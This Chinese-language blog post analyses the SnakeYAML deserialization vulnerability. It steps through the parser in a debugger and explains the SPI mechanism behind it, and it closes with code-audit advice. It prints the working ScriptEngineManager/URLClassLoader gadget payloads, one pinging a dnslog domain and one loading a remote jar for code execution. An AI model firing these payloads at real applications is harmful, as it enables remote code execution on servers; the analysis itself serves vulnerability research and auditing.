0x01 前言

之前

0x02 snakeYaml 简介

SnakeYAML 是一个用于处理 YAML 格式的 Java 库。它提供了将 YAML 数据加载到 Java 对象中的功能,以及将 Java 对象转换为 YAML 格式的功能。它就是Yaml的解析器。

引入依赖

<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

yaml.load 反序列化,yaml.dump 序列化

Yaml 格式数据加载成对象

String yamlStr = "key:hello yaml";
Yaml yaml = new Yaml();
Object ret = yaml.load(yamlStr);
System.out.println(ret);
System.out.println(ret.getClass().getName());

也可以由yaml文件中读取数据加载成对象

Yaml yaml = new Yaml();
InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test.yaml");
Object load = yaml.load(resourceAsStream);
System.out.println(load);
System.out.println(load.getClass().getName());

yaml文件内容如下

这里要留一行,不然反序列化不成功,并且要放在 resources目录下

也可以将对象序列化成Yaml数据

class_test1 class_test1 = new class_test1("xilitter", 33);
String yamltr = yaml.dump(class_test1);
System.out.println(yamltr);

这里前面有两个 !! 标识,也类似于fastjson的@type关键字,有了这个标识,在load 加载的时候就可以反序列化成任意对象了。

snakeYaml 反序列化的时候存在漏洞,能够任意代码执行。既然存在反序列化漏洞,肯定有可控的函数或者方法自动执行,接下来调试看看。

0x03 漏洞分析

已知的一条能够进行漏洞验证的payload,通过 url 类来进行 dnslog 域名解析

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http:/c2d2452a38.ipv6.1433.eu.org."]]]]

漏洞验证代码如下

package Yaml_attack;

import org.yaml.snakeyaml.Yaml;

public class Attack1 {
public static void main(String[] args){
String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://c2d2452a38.ipv6.1433.eu.org.\"]]]]\n";
Yaml yaml = new Yaml();
Object ret = yaml.load(context);
}
}

运行此代码,在dnslog 日志中新添加一条访问记录

看来此版本的 yaml 解析库存在反序列化漏洞。但是对于这个payload,也满是疑惑。为什么要这样写,ScriptEngineManager 又是什么对象,换其他的类行不行呢?

接下来一一分析解答

漏洞验证分析

在 yaml.load 方法中下断点

这进行了封装流的操作,然后跟进 loadFromReader 方法

随后又是一层层的封装,没有啥关键的点,继续跟进到 getSingleData 方法

这个方法是比较关键的,将yaml数据解析成有节点的node对象,这个解析过程还是比较复杂的,在解析过程中也是会识别 !! 表示并把它判定为要反序列化的对象。

解析完大概这个样子

随后跟进 constructDocument 方法,并继续跟进到 constructObject

这里判断 缓存中是否有,刚开始是没有的,然后进入到 constructObjectNoCheck 方法

这里从node节点中获取一个构造器类

node 对象的tag 是ScriptEngineManager 类,在 yamlConstructors 这个map中并不存在,所以会获取键名为null 的构造器类

也就是 ConstructorYamlObject 类,然后调用它的构造器方法

这里继续获取构造器类,然后调用它的构造器方法,这里获取它的nodeid,

跟进去看 nodeId 为 sequence,这个表示数组,因为我们写入的Yaml数据也是数组形式。

随后就调用 ConstructSequence 类的构造器方法。

很多if分支判断 node对象的type节点类型。

随后遍历 ScriptEngineManager 类的构造方法,这里有一个if判断,就是构造方法的参数要与node对象的value的个数相同,value只有一个,所以讲 ScriptEngineManager(java.lang.ClassLoader) 构造方法添加到 possibleConstructors 数组中。

随后就获取参数类型 java.lang.ClassLoader ,并把它设置为type,取node对象的value,随即又调用了一次 constructObject 方法,类似于递归,后面的步骤就重来了两遍,直接跳过

此时就对 URL 类进行实例化,需要注意的一点是这是一个迭代,现在我们看到的是实例化 URL 类,实例化完成后,会接着实例化 URLClassLoader类,ScriptEngineManager类,并把前一个类当做构造方法参数进行实例化。

这些说的都是对于命令执行要用的。

任意代码执行

github 上有该漏洞的利用脚本,就简短的一个java文件

继承了 ScriptEngineFactory 类,必须得继承这个,还有一个 META-INF的配置

这个后面再讲,先打一下代码

编译成 jar 包,本地开一个服务,监听8081端口

payload如下

!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8081/yaml-payload.jar\"]\n" +
" ]]\n" +
"]

运行程序弹出计算器

我们将断点定位到 ScriptEngineManager 类的构造方法中

通过 getServiceLoader 方法获取一个 Loader 加载器,这里它允许的参数类型为 ScriptEngineFactory,所以在写exp的时候,要继承这个 ScriptEngineFactory类

继续往下看,进入到 hasNextService方法

它这里获取到实现类的信息,通过去查找 META-INF 目录下的文件名

然后跟进到这个next

首先动态类加载,然后就进行实例化,执行我们构造的攻击代码。

SPI机制,也就是选择反序列化 ScriptEngineManager 类的关键,也就是在META-INF-services目录下的文件名写成 接口的全类型,里面的内容写成 该接口实现类,那么他就能够自动加载接口实现类,配合 URLClassLoader 加载器远程加载jar包可以达到远程代码执行的效果。

0x04 结语

在代码审计的过程中就可以全局搜索 yaml.load 方法检测该漏洞。

漏洞版本在 [snakeYAML <=1.33 ]

如果环境不出网,这个师傅的文章做出了解答

https://xz.aliyun.com/t/11599